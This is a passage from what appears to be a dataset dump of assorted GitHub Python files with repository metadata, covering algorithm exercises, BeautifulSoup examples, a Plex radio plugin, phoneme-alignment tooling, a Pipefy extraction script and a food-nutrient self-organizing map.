\"\", cert, True\n else:\n return True, \"\", cert, False\n\ndef getUserInfo(cert):\n \"\"\"\n Retrives from the clients citizen card it's civil number and their name\n \"\"\"\n id = cert.subject.get_attributes_for_oid(NameOID.SERIAL_NUMBER)[0].value[:-1]\n name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[0]\n return id ,\"Andre\"#name\n","repo_name":"aspedrosa/secure_auctions","sub_path":"code/shared/encryption/assymetric.py","file_name":"assymetric.py","file_ext":"py","file_size_in_byte":9237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21050631249","text":"## 문자열뒤집기\n## notion 참조 \n\ninput = \"011110\"\n\n\ndef find_count_to_turn_out_to_all_zero_or_all_one(string):\n # 이 부분을 채워보세요!\n count_all_zero = 0\n count_all_one = 0\n\n if string[0] == '0':\n count_all_one += 1\n elif string[0] == '1':\n count_all_zero += 1\n\n for i in range(len(string) -1):\n if string[i] != string[i+1]:\n if string[i+1] == '0':\n count_all_one += 1\n if string[i +1] == '1':\n count_all_zero += 1\n\n return min(count_all_one, count_all_zero)\n\n\n\n\nresult = find_count_to_turn_out_to_all_zero_or_all_one(input)\nprint(result)","repo_name":"skylermbang/Lectures-","sub_path":"hanghae99/sparta_algo/Week1/07_week1_homework2.py","file_name":"07_week1_homework2.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20715317367","text":"import bs4\nfrom bs4 import BeautifulSoup\nimport re\n\nsoup = BeautifulSoup('Extremely bold ','lxml')\ntag = soup.b\n\ntag.name = \"blockquote\"\ntag['class'] = 'verybold';\ntag['id']= 1\nprint(tag)\n\n# 给tag的.string尚需经赋值,就相当于用以前的内容替代了原来的内容\nmarkup = 'I linked to example.com '\nsoup = BeautifulSoup(markup,\"lxml\")\n\ntag = soup.a\nprint(tag)\ntag.string = \"New link text.\"\nprint(tag)\n\n# Tag.append() 方法向tag中添加内容,就好像Python的列表的 .append() 方法:\nsoup = BeautifulSoup(\"Foo \",\"lxml\")\nsoup.a.append(\"Bar\")\n\nprint(soup)\nprint(soup.a.contents)","repo_name":"YanshanSong/BeautifulSoup","sub_path":"16-修改文档树.py","file_name":"16-修改文档树.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39162635384","text":"from typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n new_head = ListNode()\n new_head.next = head\n pre = new_head\n while pre.next and pre.next.next:\n cur1, cur2, after = pre.next, pre.next.next, pre.next.next.next\n pre.next = cur2\n cur2.next = cur1\n cur1.next = after\n pre = cur1\n return new_head.next\n\n\nif __name__ == '__main__':\n z = ListNode(1, ListNode(2, ListNode(3, ListNode(4, ListNode(5)))))\n so = Solution()\n print(so.swapPairs(z))\n","repo_name":"BiqiangWang/leetcode","sub_path":"DataStructure/List/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"24145500462","text":"#############\n## credit to DiegoV in New Zealand for some nice simple code to work from\n#############\nTITLE = 'Radio Tuner'\nART = 'art-default.jpg'\nICON = 'icon-default.png'\n\nPREFIX = '/music/radiotuner'\n\n####################################################################################################\n\n# This function is initially called by the PMS framework to initialize the plugin. This includes\n# setting up the Plugin static instance along with the displayed artwork.\ndef Start():\n # Initialize the plugin\n Plugin.AddViewGroup('rt_view_group', viewMode = 'list', mediaType = 'items')\n\n # Setup the artwork associated with the plugin\n ObjectContainer.title1 = TITLE\n ObjectContainer.art = R(ART)\n ObjectContainer.view_group = 'rt_view_group'\n\n TrackObject.thumb = R(ICON)\n DirectoryObject.thumb = R(ICON)\n\n####################################################################################################\n\n@handler(PREFIX, TITLE)\ndef MainMenu(**kwargs):\n\n oc = ObjectContainer()\n\n i=1\n\n while Prefs['url'+str(i)] and Prefs['title'+str(i)] :\n oc.add(CreateTrackObject(url=Prefs['url'+str(i)], title=Prefs['title'+str(i)], fmt=Prefs['type'+str(i)]))\n i += 1\n\n return oc\n\n\n####################################################################################################\n#def CreateTrackObject(url, title, fmt, include_container=False, includeBandwidths=False ):\ndef CreateTrackObject(url, title, fmt, include_container=False ):\n \n\t# choose container and codec to use for the supplied format\n if fmt == 'mp3':\n container = Container.MP3\n audio_codec = AudioCodec.MP3\n elif fmt == 'aac':\n container = Container.MP4\n audio_codec = AudioCodec.AAC\n# elif fmt == 'hls':\n# # This needs some more work, should use PartObject(key=HTTPLiveStreamURL(url))\n# protocol = 'hls'\n# container = 'mpegts'\n# # video_codec = VideoCodec.H264\n# # audio_codec = AudioCodec.AAC\n elif fmt == '.flac':\n container = Container.FLAC\n audio_codec = AudioCodec.FLAC\n elif fmt == '.ogg':\n container = Container.OGG\n audio_codec = AudioCodec.OGG\n else:\n container = Container.MP3\n audio_codec = AudioCodec.MP3\n\n track_object = TrackObject(\n# key=Callback(CreateTrackObject, url=url, title=title, fmt=fmt, include_container=True, includeBandwidths=False),\n key=Callback(CreateTrackObject, url=url, title=title, fmt=fmt, include_container=True),\n rating_key=url,\n title=title,\n thumb=R(ICON),\n items=[\n MediaObject(\n parts=[\n PartObject(key=url)\n ],\n container=container,\n audio_codec=audio_codec,\n audio_channels=2\n )\n ]\n )\n\n if include_container:\n return ObjectContainer(objects=[track_object])\n else:\n return track_object\n\n\n####################################################################################################\n#def PlayAudio(url, **kwargs):\n\t\n#\treturn Redirect(url)\n","repo_name":"sfeakes/Radio-Tuner.bundle","sub_path":"Contents/Code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"252169948","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nSolution for day22 2015\n\"\"\"\n\n__author__ = 'Guido Minieri'\n__license__ = 'GPL'\n\n\nwith open('input.txt', 'r') as f:\n data = f.read().rstrip()\n\nimport re\nimport copy\nfrom random import choice\n\nregex = r'\\d+'\nother_data = [int(x) for x in re.findall(regex, data)]\n\nspells = {\n 'Magic Missile': {\n 'cost': 53,\n 'dmg': 4,\n 'effect': [None]\n },\n 'Drain': {\n 'cost': 73,\n 'dmg': 2,\n 'effect': [None]\n },\n 'Shield': {\n 'cost': 113,\n 'dmg': None,\n 'effect': ['Shield', 7, 6]\n },\n 'Poison': {\n 'cost': 173,\n 'dmg': None,\n 'effect': ['Poison', 3, 6]\n },\n 'Recharge': {\n 'cost': 229,\n 'dmg': None,\n 'effect': ['Recharge', 101, 5]\n }\n}\n\nclass Sorcerer:\n\n def __init__(self, hlt, dmg, mana, spells=None):\n self.hlt = hlt\n self.dmg = dmg\n self.mana = mana\n self.spent = 0\n self.arm = 0\n self.effects = {}\n self.reserve = []\n if spells:\n self.magic = self.grimoire(spells)\n\n def apply(self):\n if self.effects == {}:\n return None\n self.effects = {k:v for k,v in self.effects.items() if v[0] != 0}\n\n for key in self.effects.keys():\n timer, amt = self.effects[key]\n self.effects[key][0] = timer - 1\n if key == 'Recharge':\n self.mana += amt\n elif key == 'Poison':\n self.hlt -= amt\n elif key == 'Shield':\n self.arm = amt\n if timer == 1:\n self.arm = 0\n\n def get_spell(self, name):\n for s in self.magic:\n if s.name == name:\n return s\n\n def cast(self, other):\n try:\n spell = self.reserve.pop(0)\n except:\n return True\n self.spent += spell.cost\n self.mana -= spell.cost\n if len(spell.effect) == 3:\n eff, val, turn = spell.effect\n if spell.name in ['Shield', 'Recharge']:\n self.effects[spell.name] = [turn, val]\n elif spell.name == 'Poison':\n other.effects[spell.name] = [turn, val]\n elif spell.name == 'Magic Missile':\n other.hlt -= spell.dmg\n elif spell.name == 'Drain':\n other.hlt -= spell.dmg\n self.hlt += spell.dmg\n\n def grimoire(self, spells):\n return Spell.make_grimoire(spells)\n\n def __repr__(self):\n return f\"HLT:{self.hlt} ATK:{self.dmg} MAN:{self.mana}\"\n\nclass Spell:\n\n def __init__(self, name, cost, dmg, effect):\n self.name = name\n self.cost = cost\n self.dmg = dmg\n self.effect = effect\n\n @classmethod\n def make_grimoire(cls, dct):\n res = []\n for name, props in dct.items():\n cost, dmg, effects = props.values()\n res.append(cls(name, cost, dmg, effects))\n return res\n\n def __repr__(self):\n return f\"{self.name}\"\n\ndef gen():\n x = [1, 0]\n while True:\n for i in x:\n yield i\n\ndef play(p1, p2, sp, hard=False):\n me = copy.deepcopy(p1)\n other = copy.deepcopy(p2)\n me.reserve = [me.get_spell(x) for x in sp]\n for i in gen():\n if i:\n if hard:\n me.hlt -= 1\n me.apply()\n other.apply()\n if other.hlt <= 0:\n return me.spent\n out = me.cast(other)\n if out:\n return False\n if me.mana < 0:\n return False\n if other.hlt <= 0:\n return me.spent\n else:\n me.apply()\n other.apply()\n if other.hlt <= 0:\n return me.spent\n me.hlt -= (other.dmg - me.arm)\n if me.hlt <= 0:\n return False\n\ndef generate_spells(spells, l):\n res = []\n res.append(choice(spells))\n while len(res) < l:\n nx = choice(spells)\n if nx != res[-1]:\n res.append(nx)\n return res\n\nme = Sorcerer(50, 0, 500, spells)\nsorcerer = Sorcerer(*other_data, 0)\nspells = [x for x in spells if x != 'Drain']\n# pt 1\nwins = []\nwhile len(wins) < 5:\n mana = play(me, sorcerer, generate_spells(spells, 12))\n if mana:\n wins.append(mana)\nprint(min(wins))\n# pt 2\nhard_wins = []\nwhile len(hard_wins) < 3:\n hard_mana = play(me, sorcerer, generate_spells(spells, 13), True)\n if hard_mana:\n hard_wins.append(hard_mana)\nprint(min(hard_wins))\n","repo_name":"gmnr/advent-of-code","sub_path":"2015/22/day22.py","file_name":"day22.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11754007432","text":"def main():\n # 나이트의 이동 가능 경우의 수 구하기\n knight_point = input()\n row = int(ord(knight_point[0])) - int(ord('a')) + 1\n col = int(knight_point[1])\n\n # 나이트의 이동 가능 row, col 좌표\n d_row = [2, 1, -1, -2, -2, -1, 1, 2]\n d_col = [1, 2, 2, 1, -1, -2, -2, -1]\n count = 0\n for i in range(len(d_row)):\n nx = row + d_row[i]\n ny = col + d_col[i]\n # out of range error.\n if nx <= 0 or nx > 8 or ny <= 0 or ny > 8:\n continue\n else:\n count += 1\n print(count)\n\nif __name__ == \"__main__\":\n main()","repo_name":"ybkim-dev/algorithms","sub_path":"구현/왕실의 나이트.py","file_name":"왕실의 나이트.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8043948629","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# vim: set fileencoding=utf-8\n#\n# Grupo FalaBrasil (2020)\n# Universidade Federal do Pará\n#\n# author: mar 2020\n# cassio batista - https://cassota.gitlab.io/\n# last edited: jul 2020\n\nimport sys\nimport os\n\nfrom queue import Queue\nfrom termcolor import colored\nimport config\n\nfrom fb_textgrid import TextGrid, TextGridIO\n\nTAG = sys.argv[0]\nPADD = list('###')\nDEGUB = False\n\ndef is_vowel(ch):\n \"\"\" check if a char is a vowel \"\"\"\n\n if ch.lower() in list('aeiou'):\n return True\n return False\n\n\ndef m2m_bi2uni(m2m_list):\n \"\"\" Splits a bigram word model into a unique unigram word model\n\n i=11, j=3 i=10, j=3 i=9,10,11,12, j=3,4,5,6\n ###leilatem### ###leilatem### ###leilatem###\n ###temum### ###temum### ###temum###\n ^ ^ ^^^^ m: mismatch\n m m MMMm M: match\n \"\"\"\n\n q = Queue(maxsize=2)\n phonemes_list = []\n while len(m2m_list): # NOTE can be optmised removing this while\n while not q.full():\n bigram = m2m_list.pop(0)\n q.put(PADD + bigram + PADD)\n curr_word = q.get()\n next_word = q.get()\n i = len(curr_word) - 1 - len(PADD) # to decrease backwards\n j = len(PADD) # to increase forward\n unmatch_count = 0\n match = False\n #print(curr_word, '***********************************')\n #print(next_word, '***********************************')\n while not match:\n # scan the first section: mismatch (m)\n while curr_word[i] != next_word[j]:\n #print('%-6s %-6s %02d %02d <- bi2uni' % (curr_word[i], \n # next_word[j], i, j))\n i -= 1\n unmatch_count += 1\n #print('%-6s %-6s' % (curr_word[i], next_word[j]))\n # gambiarra master to avoid mismatches like in 's e j s'\n if unmatch_count == 0 and not is_vowel(curr_word[i][0]):\n i -= 1\n unmatch_count += 1\n continue\n #print('possible match')\n for k in range(unmatch_count + len(PADD)):\n # scan the second section: a match (M)\n if curr_word[i + k] == next_word[j + k]:\n continue\n else: \n # found third section: right mismatch with PADD (m)\n if curr_word[i + k] == '#': # check immediate mismatch\n match = True\n #print('match! ->', end=' ')\n #print(curr_word[len(PADD):i])\n else:\n #print('houston we have a problem: (%s, %s)' %\n # (curr_word[i + k], next_word[j + k]))\n i -= 1\n unmatch_count += 1\n break\n phonemes_list.append(curr_word[len(PADD):i])\n q.put(next_word)\n phonemes_list.append(next_word[len(PADD):j + k])\n phonemes_list.append(next_word[j + k:-len(PADD)])\n return phonemes_list\n\n\ndef map_ds_m2m_to_tg(m2m, tg):\n \"\"\" Maps dataset's tg (including timestamps) to new tg using m2m aligns\n\n it also merges two or more phonemes into one, which affects\n timestamps\n \"\"\"\n\n phonemes = list(tg.get_phonemes())\n timestamps = list(tg.get_phoneme_timestamps())\n #print(phonemes, '>>>>>>>>>>>>>>>>>>>>>>>>>')\n #print(timestamps, '>>>>>>>>>>>>>>>>>>>>>>>>>>')\n tg_ali = TextGrid(init_default_items=True)\n tg_ali.add_phoneme_timestamp(0.0)\n time_i = 1\n while len(phonemes):\n i = 0\n j = 0\n tg_word = phonemes.pop(0)\n if tg_word == ['_']:\n tg_ali.add_phonemes(list(tg_word))\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n m2m_word = m2m.pop(0)\n #print(i, j, tg_word, m2m_word)\n #print('###', tg_ali.get_phonemes())\n if tg_word == m2m_word:\n tg_ali.add_phonemes(list(tg_word))\n for phone in tg_word:\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n phones = []\n times = []\n while i < len(tg_word):\n #print('>>>>>>>>>>>', phones, i, j, tg_word[i], m2m_word[j])\n if tg_word[i] == '_':\n phones.append(tg_word[i])\n times.append(timestamps[time_i])\n i += 1\n time_i += 1\n elif tg_word[i] == m2m_word[j]:\n #print('eita jesus', phones, times, timestamps[time_i])\n phones.append(m2m_word[j])\n times.append(timestamps[time_i])\n i += 1\n j += 1\n time_i += 1\n elif tg_word[i].count(':') > 0:\n print('what the fuck this is weird')\n elif m2m_word[j].count(':') > 0:\n diphon = True\n for k, dp in enumerate(m2m_word[j].split(':')):\n if dp != tg_word[i]:\n print('what the hell is going on here')\n diphon = False\n break\n i += 1\n if diphon:\n phones.append(m2m_word[j])\n #times.append(sum(timestamps[time_i:time_i + k + 1]))\n times.append(timestamps[time_i + k])\n time_i += k + 1\n j += 1\n tg_ali.add_phonemes(list(phones))\n for t in times:\n tg_ali.add_phoneme_timestamp(t)\n # FIXME CB: right now we only have interest in phonemes so every other\n # tier will be copied *as it is* from the original TextGrid,\n # which means phones will not be broken or split.\n tg_ali.set_syllphones(tg.get_syllphones()) # 2\n tg_ali.set_syllphone_timestamps(tg.get_syllphone_timestamps())\n tg_ali.set_wordgraphs(tg.get_wordgraphs()) # 3\n tg_ali.set_wordgraph_timestamps(tg.get_wordgraph_timestamps())\n tg_ali.set_phrasephone(tg.get_phrasephone(nested=False)) # 4b\n tg_ali.set_phrasephone_timestamps(tg.get_phrasephone_timestamps())\n tg_ali.set_phrasegraph(tg.get_phrasegraph(nested=False)) # 5\n tg_ali.set_phrasegraph_timestamps(tg.get_phrasegraph_timestamps())\n #print(tg_ali.get_phonemes(), '<<<<<<<<<<<<<<<<<<<<')\n #print(tg_ali.get_phoneme_timestamps(precision=2), '<<<<<<<<<<<<<<<<<<<<')\n return tg_ali.lower()\n\n\ndef map_fb_m2m_to_tg(m2m, tg):\n \"\"\" map dataset's new aligned tg to falabrasil's tg, using m2m phones\n\n it also splits a phoneme into two or more, which affects\n timestamps\n \"\"\"\n\n phonemes = list(tg.get_phonemes())\n timestamps = list(tg.get_phoneme_timestamps())\n #print(tg.get_phoneme_timestamps(precision=2))\n tg_ali = TextGrid(init_default_items=True)\n tg_ali.add_phoneme_timestamp(0.0)\n time_i = 1\n while len(phonemes):\n i = 0\n j = 0\n tg_word = phonemes.pop(0)\n if tg_word == ['_']:\n tg_ali.add_phonemes(list(tg_word))\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n m2m_word = m2m.pop(0)\n #print(i, j, tg_word, m2m_word, '*********************')\n #print('%%%', tg_ali.get_phonemes())\n if tg_word == m2m_word:\n tg_ali.add_phonemes(list(tg_word))\n for phone in tg_word:\n tg_ali.add_phoneme_timestamp(timestamps[time_i])\n time_i += 1\n continue\n phones = []\n times = []\n #print(m2m_word, j, '########################')\n while i < len(tg_word):\n #print(phones, i, j, tg_word[i], m2m_word[j])\n if tg_word[i] == '_':\n phones.append(tg_word[i])\n times.append(timestamps[time_i])\n i += 1\n time_i += 1\n elif m2m_word[j].count(':') > 0:\n #print(m2m_word[j], '<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<')\n for k, dp in enumerate(m2m_word[j].split(':')):\n phones.append(dp)\n i += 1\n #print(phones)\n #if time_i + 1 < len(timestamps):\n # #time_off = timestamps[time_i + 1] - timestamps[time_i - 1]\n # time_off = timestamps[time_i] - timestamps[time_i - 1]\n # time_off = time_off / float(k + 2)\n #else:\n time_off = timestamps[time_i] - timestamps[time_i - 1]\n time_off = time_off / (k + 1) # CB: FIXED\n for t in range(1, k + 2):\n times.append(timestamps[time_i - 1] + float(t) * time_off)\n time_i += 1\n j += 1\n else: # one to one map, swift!\n #print('eita jesus', phones, times)\n phones.append(m2m_word[j])\n times.append(timestamps[time_i])\n i += 1\n j += 1\n time_i += 1\n tg_ali.add_phonemes(list(phones))\n for t in times:\n tg_ali.add_phoneme_timestamp(t)\n # FIXME CB: right now we only have interest in phonemes so every other\n # tier will be copied *as it is* from the original TextGrid,\n # which means phones will not be broken or split.\n tg_ali.set_syllphones(tg.get_syllphones()) # 2\n tg_ali.set_syllphone_timestamps(tg.get_syllphone_timestamps())\n tg_ali.set_wordgraphs(tg.get_wordgraphs()) # 3\n tg_ali.set_wordgraph_timestamps(tg.get_wordgraph_timestamps())\n #tg_ali.set_phrasephone(tg.get_phrasephone(nested=False)) # 4b\n phrasephone = ''\n for l in tg_ali.get_phonemes():\n for p in l:\n if p != '_':\n phrasephone += p\n phrasephone += ' '\n tg_ali.set_phrasephone([phrasephone.strip()]) # 4b\n tg_ali.set_phrasephone_timestamps(tg.get_phrasephone_timestamps())\n tg_ali.set_phrasegraph(tg.get_phrasegraph(nested=False)) # 5\n tg_ali.set_phrasegraph_timestamps(tg.get_phrasegraph_timestamps())\n return tg_ali.lower()\n\ndef transpose_m2m(m2m_list):\n \"\"\" converts single line single column to multi line double column \"\"\"\n\n ds_list, fb_list = [], []\n for entry in m2m_list:\n if entry == '':\n continue\n ds, fb = entry.split('\\t')\n ds_list.append(ds.strip('|').split('|'))\n fb_list.append(fb.strip('|').split('|'))\n return ds_list, fb_list\n\ndef divide():\n print('-----------------------------------------------------', end='')\n print('-----------------------------------------------------', end='')\n print('-----------------------------------------------------', end='')\n print('-----------------------------------------------------')\n\nif __name__ == '__main__':\n if len(sys.argv) != 4:\n print('usage: %s ')\n print(' is a list of .textgrid file paths')\n print(' is a list of .textgrid file paths')\n print(' is the dir to store the mapped tg files')\n sys.exit(1)\n\n if os.path.isdir(sys.argv[3]):\n print('warning: dir `%s` exists and will be overwritten' % sys.argv[3])\n else:\n os.mkdir(sys.argv[3])\n\n # TODO use arparse for file names\n with open(sys.argv[2], 'r') as f:\n m2m = f.read().split('%s|\\t%s|\\n' % (config.DELIM_SENT, config.DELIM_SENT))\n\n io = TextGridIO(sys.argv[1]) # TODO use argparse instead\n for index, filepath in enumerate(io.get_tg_filelist()):\n tg_dataset = io.parse_tg_from_file(filepath)\n if filepath in config.TG_EXCEPT:\n print(colored('[%s] `%s` skp' % (TAG, filepath), 'red'),\n end=' ')\n print(tg_dataset.get_phrasegraph(), end=' -> ')\n print(tg_dataset.get_phrasephone())\n if DEGUB:\n divide()\n continue\n elif filepath in config.TG_HEAVY_CROSS:\n print(colored('[%s] `%s` skp' % (TAG, filepath), 'yellow'),\n end=' ')\n print(tg_dataset.get_phrasegraph(), end=' -> ')\n print(tg_dataset.get_phrasephone())\n m2m.pop(0) # print this if you want\n if DEGUB:\n divide()\n continue\n else:\n print(colored('[%s] `%s` ok!' % (TAG, filepath), 'green'),\n end=' ')\n print(tg_dataset.get_phrasegraph(), end=' -> ')\n print(tg_dataset.get_phrasephone())\n #print('inspect tg_datset:')\n #tg_dataset.inspect()\n # NOTE do I really need pop here? indexing list myabe?\n m2m_dataset, m2m_falabrasil = transpose_m2m(m2m.pop(0).split('\\n'))\n if DEGUB:\n print('mds bi ', m2m_dataset)\n print('mfb bi ', m2m_falabrasil)\n # unfold bigram word representation into single word representation\n m2m_dataset = m2m_bi2uni(m2m_dataset)\n m2m_falabrasil = m2m_bi2uni(m2m_falabrasil)\n if DEGUB:\n print('mds uni', m2m_dataset)\n print('mfb uni', m2m_falabrasil)\n # map phones and timestamps from datasets\n tg_dataset_align = map_ds_m2m_to_tg(m2m_dataset, tg_dataset)\n #print('inspect tg_datset_align:')\n #tg_dataset_align.inspect()\n tg_falabrasil_align = map_fb_m2m_to_tg(m2m_falabrasil, tg_dataset_align)\n #print('inspect tg_falabrasil_align:')\n #tg_falabrasil_align.inspect()\n if DEGUB:\n print('ds file', tg_dataset.get_phonemes())\n print('tg dsa ', tg_dataset_align.get_phonemes())\n print('tg fba ', tg_falabrasil_align.get_phonemes())\n divide()\n outfile = os.path.join(sys.argv[3], os.path.basename(filepath))\n io.write_tg_to_file(tg_falabrasil_align, outfile)\n\n sys.stderr.write('[%s] finished successfully!' % TAG)\n sys.stderr.write(' \\n') # hehe\n","repo_name":"falabrasil/ufpalign","sub_path":"simulation/20_bracis_kaldi/g2p_map/m2m2tg.py","file_name":"m2m2tg.py","file_ext":"py","file_size_in_byte":14291,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"32441188878","text":"import random\n\n# 猜0~100之间的数字\nnumber = random.randint(0, 100)\nwhile True:\n p = int(input(\"请输入0-100之间的数字:\"))\n if p > number:\n print(\"猜大了\")\n elif p < number:\n print(\"猜小了\")\n else:\n print(\"猜对啦!\")\n break\n","repo_name":"suruomo/Python-Practice","sub_path":"practice/demo/number_riddle.py","file_name":"number_riddle.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29529263772","text":"# -*- coding:utf-8 -*-\n# /usr/bin/python3\n\n\nimport re\nfrom unidecode import unidecode\nfrom utils.Pipefy import Pipefy\nfrom utils.ExcelUtils import excel\n\nclass pipefy():\n def __init__(self, token, caminho_db, nome_db, caminho_excel, nome_excel):\n self._token = token\n self._pipe_id = 1102385\n self._dict_datas = {}\n self._excel_utils = excel(caminho_excel, nome_excel)\n self._db_utils = excel(caminho_db, nome_db)\n\n def extract_datas(self):\n _pipefy = Pipefy(self._token)\n _pipes = _pipefy.pipes([self._pipe_id])[0]\n _count = 1\n for _cards in _pipes['phases']:\n if 'resposta recebida' in _cards['name'].lower():\n for _edge in _cards['cards']['edges']:\n self._dict_datas[_count] = {'id_card': '',\n 'titulo': '',\n 'vaga': '',\n 'nivel': '',\n 'motivo_recusa': '',\n 'soube_vaga': ''}\n print(\"Id do card: {}\".format(_edge['node']['id']))\n print(\"Titulo do card: {}\".format(_edge['node']['title']))\n self._dict_datas[_count].update({'id_card': _edge['node']['id'], 'titulo': _edge['node']['title']})\n _infos_card = _pipefy.card(_edge['node']['id'])\n for _fields in _infos_card['fields']:\n if ('selecionar vaga' in _fields['name'].lower()):\n print(\"Vaga: {}\".format(re.sub(r'[^a-zA-Z\\s0-9]', '', _fields['value'].strip())))\n self._dict_datas[_count].update({'vaga': re.sub(r'[^a-zA-Z\\s0-9]', '', _fields['value'].strip())})\n\n elif ('nível' in _fields['name'].lower()):\n # print(\"Nível: {}\".format(_fields['value'].strip()))\n self._dict_datas[_count].update({'nivel': _fields['value'].strip()})\n\n elif ('motivo da recusa' in _fields['name'].lower()):\n print(\"Motivos da recusa: {}\".format(_fields['value'].strip()))\n self._dict_datas[_count].update({'motivo_recusa': _fields['value'].strip()})\n\n elif ('como soube da vaga' in _fields['name'].lower()):\n print(\"Como soube da vaga: {}\".format(_fields['value'].strip()))\n self._dict_datas[_count].update({'soube_vaga': _fields['value'].strip()})\n print(\"-\" * 20)\n _exist_card = self._consult_db(self._dict_datas[_count])\n if(_exist_card):\n del self._dict_datas[_count]\n continue\n else:\n self._db_utils.update_excel(self._dict_datas[_count])\n motivos_recusa = self._dict_datas[_count]['motivo_recusa'].split(\",\")\n if(len(motivos_recusa) > 1):\n self._dict_datas[_count].update({'motivo_recusa': re.sub(r'[^a-zA-Z\\s0-9]', '', unidecode(motivos_recusa[0]).strip())})\n for motivo_recusa in motivos_recusa[1:]:\n _copy_dict = self._dict_datas[_count].copy()\n _count += 1\n self._dict_datas[_count] = _copy_dict\n self._dict_datas[_count].update({'motivo_recusa': re.sub(r'[^a-zA-Z\\s0-9]', '', unidecode(motivo_recusa).strip())})\n _count += 1\n self._excel_utils.update_excel(self._dict_datas)\n\n def _consult_db(self, _data):\n _dict_db = self._db_utils.read_excel(db=True)\n try:\n for _index_db, _row_db in _dict_db.items():\n if(int(_row_db['id_card'])==int(_data['id_card'])):\n return True\n return False\n except Exception as erro:\n print(erro)","repo_name":"BrunoPisaneschi/extracao-dados-pipefy","sub_path":"flow/FlowMaster.py","file_name":"FlowMaster.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32338369002","text":"from mvpa2.suite import *\n\n\"\"\"\nFirst, we define some colors as RGB values from the interval (0,1),\ni.e. with white being (1, 1, 1) and black being (0, 0, 0). Please\nnote, that a substantial proportion of the defined colors represent\nvariations of 'blue', which are supposed to be represented in more\ndetail in the SOM.\n\"\"\"\n\nimport csv\nfrom collections import defaultdict\n\ncolumns = defaultdict(list) # each value in each column is appended to a list\n\nwith open('output.csv') as f:\n reader = csv.DictReader(f) # read rows into a dictionary format\n for row in reader: # read a row as {column1: value1, column2: value2,...}\n for (k,v) in row.items(): # go over each column name and value \n columns[k].append(v) # append the value into the appropriate list\n # based on column name k\n\n# %DV of nutrients for food items\nnutrients = np.array(\n [columns['apple'], columns['banana'], columns['beef'],\n columns['butter'], columns['cheese'], columns['chex-mix'],\n columns['commodity-beef'], columns['egg'], columns['gogurt'],\n columns['greek-yogurt'], columns['margarine'], columns['pepsi']])\n\n\n# store the names of the food items for visualization later on\nfood_names = \\\n ['apple', 'banana', 'beef', 'butter', 'cheese',\n 'chex-mix', 'commodity-beef', 'egg', 'gogurt',\n 'greek-yogurt', 'margarine', 'pepsi']\n \n\n\"\"\"\nNow we can instantiate the mapper. It will internally use a so-called\nKohonen layer to map the data onto. We tell the mapper to use a\nrectangular layer with 20 x 30 units. This will be the output space of\nthe mapper. Additionally, we tell it to train the network using 400\niterations and to use custom learning rate.\n\"\"\"\n\nsom = SimpleSOMMapper((30, 40), 400, learning_rate=0.05)\n\n\"\"\"\nFinally, we train the mapper with the previously defined 'color' dataset.\n\"\"\"\n\nsom.train(nutrients)\n\n\"\"\"\nEach unit in the Kohonen layer can be treated as a pointer into the\nhigh-dimensional input space, that can be queried to inspect which\ninput subspaces the SOM maps onto certain sections of its 2D output\nspace. The color-mapping generated by this example's SOM can be shown\nwith a single matplotlib call:\n\"\"\"\n\npl.imshow(som.K, origin='lower')\n\n\"\"\"\nAnd now, let's take a look onto which coordinates the initial training\nprototypes were mapped to. The get those coordinates we can simply feed\nthe training data to the mapper and plot the output.\n\"\"\"\n\nmapped = som(nutrients)\n\npl.title('Food SOM')\n# SOM's kshape is (rows x columns), while matplotlib wants (X x Y)\nfor i, m in enumerate(mapped):\n pl.text(m[1], m[0], food_names[i], ha='center', va='center',\n bbox=dict(facecolor='white', alpha=0.5, lw=0))\n\n\"\"\"\nThe text labels of the original training colors will appear at the 'mapped'\nlocations in the SOM -- and should match with the underlying color.\n\"\"\"\n\n# show the figure\nif cfg.getboolean('examples', 'interactive', True):\n pl.show()\n\n\"\"\"\nThe following figure shows an exemplary solution of the SOM mapping of the\n3D color-space onto the 2D SOM node layer:\n.. image:: ../pics/ex_som.*\n :align: center\n :alt: Color-space mapping by a self-organizing map.\n\"\"\"\n","repo_name":"khyemi/SOM","sub_path":"food_som.py","file_name":"food_som.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
